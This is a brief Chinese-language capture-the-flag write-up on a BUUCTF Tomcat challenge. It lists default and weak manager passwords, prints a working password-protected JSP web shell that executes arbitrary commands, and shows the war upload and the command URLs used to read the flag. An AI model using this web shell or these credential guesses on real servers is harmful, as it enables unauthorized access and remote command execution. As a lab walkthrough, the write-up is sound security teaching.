1.简介
略过吧
2.环境
BUUCTF
3.动手
简单的弱口令爆破,随手试了几个密码什么的
admin:admin888
admin:admin123
tomcat:tomcat
这不就进来了吗
不过看起来进错了位置,再来应该是/manager/html这个路径
4.编译一个war包
jsp马倒是有现成的,直接拿打包好的
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
上传成功
看下路径
http://613-5295901f-bec9-451e-99e2-d4839bc10fd7node3.buuoj.cn:28177/shell/jsp.jsp
5.上菜刀(菜刀刀)
菜刀刀连了下,连不上,呜呜呜,哭泣
6.手连吧
http://613-5295901f-bec9-451e-99e2-d4839bc10fd7node3.buuoj.cn:28177/shell/jsp.jsp?pwd=123&i=id
7.拿flag
http://613-5295901f-bec9-451e-99e2-d4839bc10fd7node3.buuoj.cn:28177/shell/jsp.jsp?pwd=123&i=env